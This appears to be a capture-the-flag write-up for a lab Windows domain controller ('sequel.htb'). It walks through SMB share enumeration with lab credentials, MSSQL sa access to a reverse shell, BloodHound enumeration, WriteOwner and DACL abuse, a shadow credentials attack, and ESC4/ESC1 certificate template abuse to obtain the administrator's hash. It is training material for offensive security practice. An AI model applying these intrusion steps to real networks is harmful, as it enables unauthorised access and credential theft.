This a Windows Server 2019 running as domain controller. In a shared resource we find an XLSX file containing the MSSQL's sa account password in clear text. This allows to get an initial shell as sql_svc. Once inside the system, we find a password in an MSSQL configuration file, that can be used to move laterally and collect the user flag.
Regarding escalation, we enumerate the AD with BloodHound CE and discover a permissive edge that allows a shadow credential attack and a lateral movement. Under the new context, we enumerate vulnerable AD CS templates and find one vulnerable to ESC4, which can be abused to dump the administrator's hash.
KEYWORDS
MSSQL, Impacket, mssqlclient.py, xp_cmdshell, owneredit.py, dacledit.py, shadow credentials attack, Certipy, Active Directory Certificate Services (AD CS), ESC4, ESC1.
Also enumerate SMB shares with provided credentials.
> smbmap -H sequel.htb -P 445 -u rose -p KxEPkKe6R8su
[+] IP: sequel.htb:445 Name: unknown
Disk Permissions Comment
---- ----------- -------
Accounting Department READ ONLY
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
Users READ ONLY
We have access to several shares, let's begin with the "Users" folder.
> smbclient \\\\sequel.htb\\Users -U "rose%KxEPkKe6R8su"
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Sun Jun 9 14:42:11 2024
.. DR 0 Sun Jun 9 14:42:11 2024
Default DHR 0 Sun Jun 9 12:17:29 2024
desktop.ini AHS 174 Sat Sep 15 08:16:48 2018
6367231 blocks of size 4096. 908717 blocks available
Nothing useful here, move to the next share.
> smbclient "\\\\sequel.htb\\Accounting Department" -U "rose%KxEPkKe6R8su"
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sun Jun 9 11:52:21 2024
.. D 0 Sun Jun 9 11:52:21 2024
accounting_2024.xlsx A 10217 Sun Jun 9 11:14:49 2024
accounts.xlsx A 6780 Sun Jun 9 11:52:07 2024
6367231 blocks of size 4096. 908717 blocks available
Download the stuff, the file accounts.xlsx contains several passwords, including what seems to be credentials for MSSQL sa account.
USER
We have disclosed what seems to be MSSQL sa account password, let's try it with Impacket.
A reverse shell for user sql_svc is received on port 1919.
Since there is a database running, next step would be to enumerate the file system for configuration files. In this case we find clear text passwords in the path c:\sql2019\expressadv_enu\sql-configuration.ini
Next step will be to perform an AD enumeration with BloodHound CE. Installation and configuration guide for this tool are available in Certified. In that case, we used BloodHound-Python as a remote data collector; however, in this case, since we have a shell in the system, we will use SharpHound local collector for the sake of testing different tools.
We need to use a SharpHound CE version developed for BloodHound CE, otherwise the data ingestion will fail. The appropriate version can be downloaded from the application GUI itself in Settings → Download Collectors.
Drop a copy of SharpHoundCE.exe in the host and collect the data.
> .\sharphoundCE.exe --collectionmethods all
2025-01-19T09:04:10.5455220-08:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-01-19T09:04:10.7330116-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
2025-01-19T09:04:10.7642664-08:00|INFORMATION|Initializing SharpHound at 9:04 AM on 1/19/2025
2025-01-19T09:04:10.7955042-08:00|INFORMATION|Resolved current domain to sequel.htb
2025-01-19T09:04:18.7642682-08:00|INFORMATION|Loaded cache with stats: 62 ID to type mappings.
62 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2025-01-19T09:04:18.7955131-08:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
2025-01-19T09:04:18.9053203-08:00|INFORMATION|Beginning LDAP search for sequel.htb
2025-01-19T09:04:18.9830057-08:00|INFORMATION|Beginning LDAP search for sequel.htb Configuration NC
2025-01-19T09:04:18.9986277-08:00|INFORMATION|Producer has finished, closing LDAP channel
2025-01-19T09:04:18.9986277-08:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-01-19T09:04:19.0299113-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for SEQUEL.HTB
2025-01-19T09:04:19.0299113-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for SEQUEL.HTB
2025-01-19T09:04:19.1861317-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for SEQUEL.HTB
2025-01-19T09:04:20.2642542-08:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2025-01-19T09:04:20.2955073-08:00|INFORMATION|Output channel closed, waiting for output task to complete
2025-01-19T09:04:20.5767600-08:00|INFORMATION|Status: 348 objects finished (+348 348)/s -- Using 39 MB RAM
2025-01-19T09:04:20.5767600-08:00|INFORMATION|Enumeration finished in 00:00:01.6938162
2025-01-19T09:04:20.6705151-08:00|INFORMATION|Saving cache with stats: 62 ID to type mappings.
63 name to SID mappings.
1 machine sid mappings.
4 sid to domain mappings.
0 global catalog mappings.
2025-01-19T09:04:20.6861293-08:00|INFORMATION|SharpHound Enumeration Completed at 9:04 AM on 1/19/2025! Happy Graphing!
Bring the ZIP to your BloodHoundCE and have a look at the AD, we see ryan has WriteOwner over the user ca_svc. If you click on the edge, the application itself tells how to abuse this.
Essentially, it is the same as did in Certified: first we take ownership of the group, then abuse our position to grant ourselves full control, and finally perform a shadow credential attack to get the victim's NT hash.
Let's begin by taking ownership of the group.
> python3 /usr/share/doc/python3-impacket/examples/owneredit.py -action write -new-owner ryan -target ca_svc 'sequel.htb/ryan:<password>'
Then abuse the ownership to grant ourselves full control by editing the DACL.
Now we are in a position to perform a shadow credential attack and dump ca_svc user NT hash.
In summary, having full control over an account allows to modify the account's msDS-KeyCredentialLink LDAP attribute. This attribute usually stores public key credentials associated with an AD user or computer object. In this case we will store an alternate credential in the form of a certificate. Later, we will use this certificate to request a TGT on behalf of the user or to dump the NT hash.
There is a template vulnerable to ESC4, which basically means there are users with excessive permissions (i.e. full control) over the template. In other words, SEQUEL.HTB\Cert Publishers can do whatever they want with the template, including modifying it to make it vulnerable to ESC1.
